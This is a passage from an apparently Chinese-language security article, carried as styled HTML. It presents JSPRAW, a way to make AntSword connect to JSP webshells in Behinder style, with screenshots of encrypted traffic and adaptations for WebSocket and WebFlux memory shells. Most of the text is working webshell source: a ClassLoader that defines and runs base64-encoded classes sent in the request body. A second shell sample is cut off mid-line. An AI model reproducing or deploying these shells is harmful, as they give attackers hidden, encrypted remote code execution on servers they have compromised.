inherit !important;">            </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">return</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">byte</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[])</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> decoder</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">getClass</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">().</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">getMethod</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;decode&#34;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">String</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">class</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">).</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">invoke</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">decoder</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> str</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">);</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">%&gt;</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;%</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">String</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> cls </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> request</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">getReader</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">().</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">readLine</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">();</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">cls </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">!=</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">null</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">new</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> U</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">this</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">getClass</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">().</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">getClassLoader</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">()).</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">g</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">base64Decode</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">cls</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)).</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">newInstance</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">().</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">equals</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">new</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Object</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[]{</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">request</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">response</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">});</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">%&gt;</span></code></span></span></p></li></ol></pre><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">此时传递的Payload形式如下</p><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;"><br/></p><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;"><img class="rich_pages wxw-img" data-imgfileid="100000448" data-ratio="0.4100418410041841" style="border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;" data-type="png" data-w="956" src="https://wechat2rss.xlab.app/img-proxy/?k=9955a0d9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FLtiayO136fU485xoGfH8Hkhlptnb2T3TQlxTZLJlUM9gEIib7VL43ia94gOO4jfEuibeiadvC9d1cfjrxSBicqETToyA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">既然已经是冰蝎的传参形式了，那么我们只要配合特定的编码器，就可以直接连接冰蝎的Shell了</p><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;"><img class="rich_pages wxw-img" data-imgfileid="100000449" data-ratio="0.5590955806783144" style="border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;" data-type="png" data-w="973" src="https://wechat2rss.xlab.app/img-proxy/?k=75c8367e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FLtiayO136fU485xoGfH8Hkhlptnb2T3TQxAGMjvlYticCCSxlAzia3ia23bvzIfqzRMv4fIlRwlNlIPh4Khy66Ikiag%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">设置里需要勾选 Body设置为RAW模式</p><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;"><img class="rich_pages wxw-img" data-imgfileid="100000447" data-ratio="0.8199121522693997" style="border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;" data-type="png" data-w="683" src="https://wechat2rss.xlab.app/img-proxy/?k=49e47c2e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FLtiayO136fU485xoGfH8Hkhlptnb2T3TQfKaokMpN2q63Zwia6SKkHZxxck7QSs55W2lS1HmWoz9CiaGYemobGB8g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">正常连接</p><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;"><img class="rich_pages wxw-img" data-imgfileid="100000450" data-ratio="0.6657407407407407" style="border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=398bc3ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FLtiayO136fU485xoGfH8Hkhlptnb2T3TQJ9WOBjC8j0cuQRia1xqmZmjgTakp2E7rOoJib2lwK1d9CQndglxIJluw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">抓包可以看到，蚁剑也同样实现了冰蝎的强加密能力。一个Shell，两种用法。</p><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;"><img class="rich_pages wxw-img" data-imgfileid="100000451" data-ratio="0.4564814814814815" style="border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=bafb3991&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FLtiayO136fU485xoGfH8Hkhlptnb2T3TQYR5smjYuOnqesHRErQnExqGTYia4iaMjV0SbypNnlFIarIHKN6Qmej6w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">可以再单独写一个解码器对回显包进行二次编码，这里就不再展开</p><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;"><img class="rich_pages wxw-img" data-imgfileid="100000456" data-ratio="0.45092592592592595" style="border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=5cab8f72&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FLtiayO136fU485xoGfH8Hkhlptnb2T3TQicXdecfib8M68yqia5NmxoA9sY0yeYyJatZDGbmXsxIuXcP80PWanIlCQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 20px;letter-spacing: normal;text-align: start;text-wrap: wrap;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">兼容非HTTP场景</h3><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">在实战中我们会遇到一些非HTTP的情况，例如WebSocket内存马，WebFlux内存马，表达式注入等。因此JSPRAW做了一些改进，以兼容这类利用场景。</p><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">在Payload中增加了一个toString的调用入口，可以把执行的回显信息保存到一个字符串里并且return</p><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;"><img class="rich_pages wxw-img" data-imgfileid="100000453" data-ratio="0.39282250242483024" style="border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;" data-type="png" data-w="1031" src="https://wechat2rss.xlab.app/img-proxy/?k=b5e6df80&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FLtiayO136fU485xoGfH8Hkhlptnb2T3TQ0LGsJ3c1ucUjhWD0RLLbqFrTDQct7uu0uhR1p1G6U4lODohw0dVAsw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">只调用toString的Shell样例如下：</p><pre style="padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);letter-spacing: normal;text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-2" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;%!</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">class</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> U </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">extends</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">ClassLoader</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        U</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">ClassLoader</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> c</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">            </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">super</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">c</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">);</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">public</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Class</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> g</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">byte</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[]</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> b</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">            </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">return</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">super</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">defineClass</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">b</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">0</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="color: rgb(204, 204, 204);line-height: 